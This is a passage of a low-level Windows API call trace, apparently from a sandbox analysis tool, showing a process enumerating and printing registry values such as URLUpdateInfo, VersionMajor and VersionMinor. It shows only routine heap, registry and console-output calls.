pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.232] GetProcessHeap () returned 0x2e0000 [0147.232] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.232] GetProcessHeap () returned 0x2e0000 [0147.232] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.232] GetProcessHeap () returned 0x2e0000 [0147.232] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.232] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.232] __iob_func () returned 0x7fefd702a80 [0147.233] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.233] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.233] _fileno (_File=0x7fefd702ab0) returned 1 [0147.233] _errno () returned 0xc4bb0 [0147.233] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.233] _errno () returned 0xc4bb0 [0147.233] GetFileType (hFile=0x50) returned 0x1 [0147.233] lstrlenW (lpString=" ") returned 4 [0147.233] GetConsoleOutputCP () returned 0x1b5 [0147.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.233] GetConsoleOutputCP () returned 0x1b5 [0147.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.233] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.233] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.233] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.233] __iob_func () returned 0x7fefd702a80 [0147.233] _fileno (_File=0x7fefd702ab0) returned 1 [0147.233] _errno () returned 0xc4bb0 [0147.233] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.233] _errno () returned 0xc4bb0 [0147.233] GetFileType (hFile=0x50) returned 0x1 [0147.233] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.233] GetConsoleOutputCP () returned 0x1b5 [0147.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.234] GetConsoleOutputCP () returned 0x1b5 [0147.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0147.234] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.234] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.234] __iob_func () returned 0x7fefd702a80 [0147.234] _fileno (_File=0x7fefd702ab0) returned 1 [0147.234] _errno () returned 0xc4bb0 [0147.234] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.234] _errno () returned 0xc4bb0 [0147.234] GetFileType (hFile=0x50) returned 0x1 [0147.234] lstrlenW (lpString=" ") returned 4 [0147.234] GetConsoleOutputCP () returned 0x1b5 [0147.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.234] GetConsoleOutputCP () returned 0x1b5 [0147.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.234] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.234] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.234] __iob_func () returned 0x7fefd702a80 [0147.234] _fileno (_File=0x7fefd702ab0) returned 1 [0147.234] _errno () returned 0xc4bb0 [0147.234] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.234] _errno () returned 0xc4bb0 [0147.234] GetFileType (hFile=0x50) returned 0x1 [0147.235] lstrlenW (lpString="REG_SZ") returned 6 [0147.235] GetConsoleOutputCP () returned 0x1b5 [0147.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.235] GetConsoleOutputCP () returned 0x1b5 [0147.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.235] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.235] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.235] __iob_func () returned 0x7fefd702a80 [0147.235] _fileno (_File=0x7fefd702ab0) returned 1 [0147.235] _errno () returned 0xc4bb0 [0147.235] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.235] _errno () returned 0xc4bb0 [0147.235] GetFileType (hFile=0x50) returned 0x1 [0147.235] lstrlenW (lpString=" ") returned 4 [0147.235] GetConsoleOutputCP () returned 0x1b5 [0147.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.235] GetConsoleOutputCP () returned 0x1b5 [0147.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.235] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.235] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.235] __iob_func () returned 0x7fefd702a80 [0147.236] _fileno (_File=0x7fefd702ab0) returned 1 [0147.236] _errno () returned 0xc4bb0 [0147.236] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.236] _errno () returned 0xc4bb0 [0147.236] GetFileType (hFile=0x50) returned 0x1 [0147.236] lstrlenW (lpString="") returned 0 [0147.236] __iob_func () returned 0x7fefd702a80 [0147.236] _fileno (_File=0x7fefd702ab0) returned 1 [0147.236] _errno () returned 0xc4bb0 [0147.236] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.236] _errno () returned 0xc4bb0 [0147.236] GetFileType (hFile=0x50) returned 0x1 [0147.236] lstrlenW (lpString="\n") returned 1 [0147.236] GetConsoleOutputCP () returned 0x1b5 [0147.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.236] GetConsoleOutputCP () returned 0x1b5 [0147.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.236] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.236] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.236] GetProcessHeap () returned 0x2e0000 [0147.236] GetProcessHeap () returned 0x2e0000 [0147.236] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.236] GetProcessHeap () returned 0x2e0000 [0147.236] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.236] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.236] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.236] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.236] GetProcessHeap () returned 0x2e0000 [0147.236] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.236] GetProcessHeap () returned 0x2e0000 [0147.237] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.237] GetProcessHeap () returned 0x2e0000 [0147.237] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.237] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xb, pcbData=0x23f670*=0x4) returned 0x0 [0147.237] __iob_func () returned 0x7fefd702a80 [0147.237] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.237] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.237] _fileno (_File=0x7fefd702ab0) returned 1 [0147.237] _errno () returned 0xc4bb0 [0147.237] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.237] _errno () returned 0xc4bb0 [0147.237] GetFileType (hFile=0x50) returned 0x1 [0147.237] lstrlenW (lpString=" ") returned 4 [0147.237] GetConsoleOutputCP () returned 0x1b5 [0147.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.237] GetConsoleOutputCP () returned 0x1b5 [0147.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.237] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.237] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.237] lstrlenW (lpString="VersionMajor") returned 12 [0147.237] __iob_func () returned 0x7fefd702a80 [0147.237] _fileno (_File=0x7fefd702ab0) returned 1 [0147.237] _errno () returned 0xc4bb0 [0147.237] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.237] _errno () returned 0xc4bb0 [0147.237] GetFileType (hFile=0x50) returned 0x1 [0147.237] lstrlenW (lpString="VersionMajor") returned 12 [0147.237] GetConsoleOutputCP () returned 0x1b5 [0147.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.238] GetConsoleOutputCP () returned 0x1b5 [0147.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0147.238] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.238] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.238] __iob_func () returned 0x7fefd702a80 [0147.238] _fileno (_File=0x7fefd702ab0) returned 1 [0147.238] _errno () returned 0xc4bb0 [0147.238] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.238] _errno () returned 0xc4bb0 [0147.238] GetFileType (hFile=0x50) returned 0x1 [0147.238] lstrlenW (lpString=" ") returned 4 [0147.238] GetConsoleOutputCP () returned 0x1b5 [0147.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.238] GetConsoleOutputCP () returned 0x1b5 [0147.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.238] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.238] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.238] __iob_func () returned 0x7fefd702a80 [0147.238] _fileno (_File=0x7fefd702ab0) returned 1 [0147.238] _errno () returned 0xc4bb0 [0147.238] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.238] _errno () returned 0xc4bb0 [0147.238] GetFileType (hFile=0x50) returned 0x1 [0147.239] lstrlenW (lpString="REG_DWORD") returned 9 [0147.239] GetConsoleOutputCP () returned 0x1b5 [0147.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.239] GetConsoleOutputCP () returned 0x1b5 [0147.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.239] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.239] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.239] __iob_func () returned 0x7fefd702a80 [0147.239] _fileno (_File=0x7fefd702ab0) returned 1 [0147.239] _errno () returned 0xc4bb0 [0147.239] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.239] _errno () returned 0xc4bb0 [0147.239] GetFileType (hFile=0x50) returned 0x1 [0147.239] lstrlenW (lpString=" ") returned 4 [0147.239] GetConsoleOutputCP () returned 0x1b5 [0147.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.239] GetConsoleOutputCP () returned 0x1b5 [0147.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.239] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.239] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.240] __iob_func () returned 0x7fefd702a80 [0147.240] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.240] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xb") returned 3 [0147.240] _fileno (_File=0x7fefd702ab0) returned 1 [0147.240] _errno () returned 0xc4bb0 [0147.240] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.240] _errno () returned 0xc4bb0 [0147.240] GetFileType (hFile=0x50) returned 0x1 [0147.240] lstrlenW (lpString="0xb") returned 3 [0147.240] GetConsoleOutputCP () returned 0x1b5 [0147.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.240] GetConsoleOutputCP () returned 0x1b5 [0147.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xb", lpUsedDefaultChar=0x0) returned 3 [0147.240] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.240] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.240] __iob_func () returned 0x7fefd702a80 [0147.240] _fileno (_File=0x7fefd702ab0) returned 1 [0147.240] _errno () returned 0xc4bb0 [0147.240] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.240] _errno () returned 0xc4bb0 [0147.240] GetFileType (hFile=0x50) returned 0x1 [0147.240] lstrlenW (lpString="\n") returned 1 [0147.240] GetConsoleOutputCP () returned 0x1b5 [0147.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.240] GetConsoleOutputCP () returned 0x1b5 [0147.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.241] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.241] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.241] GetProcessHeap () returned 0x2e0000 [0147.241] GetProcessHeap () returned 0x2e0000 [0147.241] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.241] GetProcessHeap () returned 0x2e0000 [0147.241] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.241] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.241] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.241] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.241] GetProcessHeap () returned 0x2e0000 [0147.241] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.241] GetProcessHeap () returned 0x2e0000 [0147.241] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.241] GetProcessHeap () returned 0x2e0000 [0147.241] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.241] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.241] __iob_func () returned 0x7fefd702a80 [0147.241] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.241] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.241] _fileno (_File=0x7fefd702ab0) returned 1 [0147.241] _errno () returned 0xc4bb0 [0147.241] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.241] _errno () returned 0xc4bb0 [0147.241] GetFileType (hFile=0x50) returned 0x1 [0147.241] lstrlenW (lpString=" ") returned 4 [0147.241] GetConsoleOutputCP () returned 0x1b5 [0147.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.242] GetConsoleOutputCP () returned 0x1b5 [0147.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.242] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.242] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.242] lstrlenW (lpString="VersionMinor") returned 12 [0147.242] __iob_func () returned 0x7fefd702a80 [0147.242] _fileno (_File=0x7fefd702ab0) returned 1 [0147.242] _errno () returned 0xc4bb0 [0147.242] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.242] _errno () returned 0xc4bb0 [0147.242] GetFileType (hFile=0x50) returned 0x1 [0147.242] lstrlenW (lpString="VersionMinor") returned 12 [0147.242] GetConsoleOutputCP () returned 0x1b5 [0147.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.242] GetConsoleOutputCP () returned 0x1b5 [0147.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0147.242] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.242] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.242] __iob_func () returned 0x7fefd702a80 [0147.242] _fileno (_File=0x7fefd702ab0) returned 1 [0147.242] _errno () returned 0xc4bb0 [0147.242] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.242] _errno () returned 0xc4bb0 [0147.242] GetFileType (hFile=0x50) returned 0x1 [0147.242] lstrlenW (lpString=" ") returned 4 [0147.243] GetConsoleOutputCP () returned 0x1b5 [0147.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.243] GetConsoleOutputCP () returned 0x1b5 [0147.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.243] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.243] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.243] __iob_func () returned 0x7fefd702a80 [0147.243] _fileno (_File=0x7fefd702ab0) returned 1 [0147.243] _errno () returned 0xc4bb0 [0147.243] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.243] _errno () returned 0xc4bb0 [0147.243] GetFileType (hFile=0x50) returned 0x1 [0147.243] lstrlenW (lpString="REG_DWORD") returned 9 [0147.243] GetConsoleOutputCP () returned 0x1b5 [0147.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.243] GetConsoleOutputCP () returned 0x1b5 [0147.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.243] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.243] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.243] __iob_func () returned 0x7fefd702a80 [0147.244] _fileno (_File=0x7fefd702ab0) returned 1 [0147.244] _errno () returned 0xc4bb0 [0147.244] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.244] _errno () returned 0xc4bb0 [0147.244] GetFileType (hFile=0x50) returned 0x1 [0147.244] lstrlenW (lpString=" ") returned 4 [0147.244] GetConsoleOutputCP () returned 0x1b5 [0147.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.244] GetConsoleOutputCP () returned 0x1b5 [0147.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.244] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.244] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.244] __iob_func () returned 0x7fefd702a80 [0147.244] _memicmp 